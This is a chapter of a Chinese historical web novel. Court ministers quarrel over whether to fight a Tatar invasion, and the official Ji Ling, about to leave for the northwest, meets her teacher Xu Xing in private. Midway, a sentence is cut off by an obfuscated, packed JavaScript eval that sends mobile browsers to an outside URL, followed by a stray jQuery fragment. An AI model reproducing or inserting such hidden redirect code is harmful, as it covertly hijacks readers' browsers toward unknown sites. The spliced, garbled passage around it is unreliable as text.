“执庸？怎么这么久？”户部衙门前，祝扶春翘首以盼。


    季泠走到他身边，和他并肩前进：“没什么，多聊了两句。”


    祝扶春有些好奇：“你与徐大人是怎么认识的？”


    多一事不如少一事，季泠的语调十分正常：“只是打过几次照面罢了。走吧，咱们看看今日部议众位大人怎么应对。”


    祝扶春落后了季泠半步，前行的同时，回头瞥了一眼徐行的马车。


    徐行穿着绯红补服，从马车上稳步而下，右手置于胸前，左手背在身后，朝季泠这边看来。意料之外，与祝扶春对上了眼，他瞬即轻轻掠过，似乎只是不经意地看见两人，转身走向堂内。


    三部官员齐聚一堂。


    五军都督府本该归属兵部管辖，可周平仗着自己和张瑛的权势，对兵部尚书蒋建宽的命令要求视若无睹。


    蒋建宽早已猜到，周平最后顶多降职，在张瑛庇护之下总能卷土重来。而他却不同了，此次风波过去，无论是胜是败，他都难逃牵连处置。


    “鞑靼兵强马壮，虽然抚远侯经验丰富，可一直在山东和闽浙对抗倭寇，对于蒙古铁骑却不熟悉，突然上任，西北军队未必服从。且自从前几年在战场上受了伤，抚远侯的身体已然是大不如前。李关山虽能征善战，但毕竟年轻，未必能临危受命。本官以为，当务之急，应命宣大总督支派宣府驻军即刻南下，从后路包抄鞑靼，为前线留出时间应对。”


    宣大总督与他关系不错，但也因此被张瑛周平打压。本朝以来，军备废弛，重文轻武，他这个兵部尚书压根没有什么话语权。


    既然他已经必有一死，不如彻将这一条命和手中权力发挥殆尽，为边疆的将士百姓谋取最后一线生机。


    周平没想到今天蒋建宽居然口若悬河，而这些明显不是他想听的，立刻按捺不住，出言与他对上：“你什么意思？将宣府的驻兵派出去，如果鞑靼兵分两路，或是蒙古其他部落突然南下，扑向宣府，如入无人之境，下边的居庸关失守后，京城直接落入他们手中。这样的罪责，你承担得起？”


    蒋建宽拍案而起，直指周平：“周大人，您作为都督佥事不会看不出来吧？鞑靼此次举全力来犯，哪来的兵马再一分为二？正是为了京城的安危和其余州府的百姓，才更应该立刻调兵！边陲重镇的十八万精兵全部囤积在宣府，此时不用还更待何时？”


    此时，堂内已然剑拔弩张，只有三部尚书侍郎和周平、张瑛、钱莘在僵持拉锯，其余小官小吏难免怕被殃及，惴惴不安。


    这哪里是一场论战救国的会议，分明就是手握权柄、铲除异己的一言堂。


    钱莘乐得在一旁看好戏，若是能膈应周张两人，他倒是可以为蒋建宽说上两句：“蒋大人所言甚是。若是能派出宣府驻兵，再调遣寿阳、平定等地的军队前往太原护卫支援，不出几月就能将其拿下。”


    张瑛却轻描淡写：“鞑靼大军并非第一次来犯我朝，圣上在位多年，蒙古诸部虽然没有大举入侵，但时不时侵扰边境。他们游走作战，也未必会攻向京城。左不过掠夺些牛羊马匹，米面金银罢了。”


    徐行深深皱眉，张瑛这是准备避战吗？


    应惟绅目光在几人之中巡游，破天荒地开口质问：“那依张大人的意思，鞑靼闯入中原，只掠夺财物，不必大肆举兵应战？”


    “正是如此。”


    众人面面相觑，这样的话，他们不知如何应答。


    “难道就放任鞑靼侵犯我们的疆土，屠杀我们的百姓吗！那请问诸位，我们食朝廷俸禄，受万民供养，坐在此位，有何用处？”蒋建宽掷地有声，脸和脖子已然因盛怒而变红，轻易就能叫人看见，这张清瘦皮囊之下涌动的热血。


    可是张瑛的话已经不知不觉说中了一部分人的心思——鞑靼掠夺一番之后就会离去，何必大动干戈，赔了夫人又折兵。


    周平又是最先话事的人：“我们出兵有什么用处？只不过死伤更多将士而已。无论如何，鞑靼所到之处，百姓必然伤亡，又何必将士兵的命再填进去呢？等再过一两个月，春来雪融，鞑靼自然会退回蒙古。”


    季泠盯着周平，眸化利刃，若是可以，她真想立刻捅上去。


    这些人鬻宠擅权，大敌当前，安之若素，竟然将守卫国门的军民之命视作草芥，一条人命在他们眼中不过是黄纸之上的几笔名字而已。


    她听见自己的牙间发出碰撞的响声，下颌正因压抑的颤抖而紊乱。人微言轻，原来就是这样。没有权势，连兵部尚书，说出的话都会被人嗤之以鼻。


    她偏了偏头，看向了周平后面的徐行。


    徐行察觉到了这道渴盼的目光。他整了整毫不凌乱的袍服，借着余光确认——季泠正在看着他，她想要他开口说些什么。


    剑拔弩张之间，徐行出言，温和如夏日清泉的声音抚慰了众人的躁动：“无论是否派出宣府驻军，太原及周边数城定是要整顿以待的。若是重蹈覆辙，圣上必然大怒降罪。诸位大人不妨先来想想，眼下我们如何快速调动已定援军，合理安排粮草供给，安抚好民心士气。安定内部才能攘外御侮。”


    应惟绅抓住了这个当口，立刻接上话：“原本宣大总督之职就有兼理粮饷。待户部选派人员，与宣大几镇联系之后，便立刻调拨所需物资粮饷，以供其用。”


    钱莘老神在在：“兵马未动粮草先行，户部如今虽然财政吃紧，但好在去岁风调雨顺，还能支持住此次战争。”


    季泠环顾四周，派遣宣大总督作为援军的话题已然被几人转移到料理粮饷辎重上。


    她忽然发现，自己昨日是真的没睡够，否则现在怎么会有灵魂出窍的感觉。


    她腾游于上空，看见几张永不餍足的血盆大口，以及被缝唇剪舌的乌合之众。当然，她也在其中看见了自己。


    原来，她激动万分的部议，明面上是三部官员和内阁辅臣共同商议应战措施，实际上，话语权只在几个人那几人手中。


    他们的参与，不过是为他们的决策，增添几分人多势众的可靠与闪耀。


    何其可悲。


    户部选去宣大山西几镇的名录已经送来，总计共有十人。


    徐行在上面看到季执庸的名字时，直觉意外，转念一想，又实在是她的风格。


    虽然历练之后，成长不少，可是底子还是那样的色彩。


    永不退缩、誓不回头，灼人的鲜亮。


    京城的水太硬，没法改变她。


    出发之前，徐行找了个机会，递了东西去石竹巷。


    林微看着眼前的人，皱着眉问：“什么意思？”


    抱月站在浮云堂外，十分局促：“我们少爷，想要见季大人一面。”


    “你们少爷不会不知道，明日季大人就要去西北了吧？何况，现在是什么时辰？他不知道季大人的不便吗？”


    抱月苦笑：“林姑娘，您就将东西给季大人吧。我也是主命难违……”


    季泠收到徐行给她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446312|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    短信时，正在收拾行囊。


    明日她就要随着大军去了，此次一去，她就失去了京城的庇护，不知生死的未来是她与上天的博弈。


    她展开纸条，看了一眼后就顺手烧掉，换了一身不惹人注意的衣裳，前往徐行指定的地方。


    “执庸，你真要去吗？徐大人与我们，未必是同一条线上的人。”


    季泠安慰林微：“至少，目前来看，我们不是敌人。”


    这样不算明朗又略带牵扯的关系，才有利于她把握进退。


    流音阁内，季泠来到了一处雅间，正是之前张瑛与徐行几人原定的宴会处，只是后来因为查出了刺客才临时更换地点。


    她没有犹豫，推门而进，转身看向屋内，反手利落地关上了门。


    “先生？”


    徐行听见她的声音，从屏风后走出来，季泠顺着他的指示，在屏风前的圆桌边坐下，与徐行正好相对。


    “您找学生来，是有什么事吗？”


    季泠其实不明白，明天她就要走了，今晚徐行找自己来，究竟是做什么。她想说的全在那日马车上说完了，但她还是不假思索地来了。


    徐行提起茶壶，为她倒了一杯热茶。


    轻雾升腾，氤氲在两人之间，热意缭绕在徐行眼前，又随着他前推的茶杯，飘到她的眼前。


    是茉莉花茶。


    还是循环往复的试探与示好？


    “是应大人派你去的？你湖广之事不是才刚上手？怎么舍得离开。”


    原来是问这个，但是与他何干啊？


    “我求了应大人让我去的。本来不该是我，我才入朝不到一年，人事不熟，也不了解边防粮饷之事。但应大人禁不住我求，就松口了。湖广司主事不仅我一人，也不至于离了我就不行。”


    徐行目光闪烁，应惟绅居然会同意她去：“你既然知道自己不通此事，为什么还要去？廷议、部议你也瞧见了，这不仅仅是外乱，还有内祸。”


    京城之内，他的眼前，也就季泠这么一个学生，他理应照拂一二。


    “先生，不一定总要做安全的事情，那样的人生太没意思了，不是吗？就是因为我没见识过，所以我才要去。”


    她的声音是黎明前绽放的鲜花才会发出的脆响，是希望终将来临的曙光。


    可徐行的眉头没有松动。


    这是在担心她？


    “先生放心。此次去有齐将军在。您忘了？”


    徐行确实忘记了，在京城知道季泠过往的不止他一人，齐家也是。


    看来是他累日劳累所致。


    “总兵是周平的人，在当地根基颇深。宣大总督能力不错，只是因为性子莽直，之前得罪过张瑛，他受总兵掣肘，苦张党久矣。你大可以放心将自己的想法告诉他，眼下他比谁都更想大刀阔斧。”


    季泠点点头，她此次去没有带任何人，连林微也没带去。那毕竟是军所，她无暇顾及别人，也担不起这个责任。哪怕林微非说要去，她也拒绝了。


    “你，多当心。毕竟是女子，到了那里，你暴露的风险远比京城要大。”


    季泠愣了一下，原来徐行真正担心的是这个，她笑得很灿烂，没有丝毫忧愁，似乎只是去游山玩水：“先生放心吧。我都知道，而且此次，我有人相伴，您也认识的。”


    徐行倒是没料到她早就自己安排好了，“谁？”


    难道是祝扶春？可是名录上没有他。


    “是荡云。”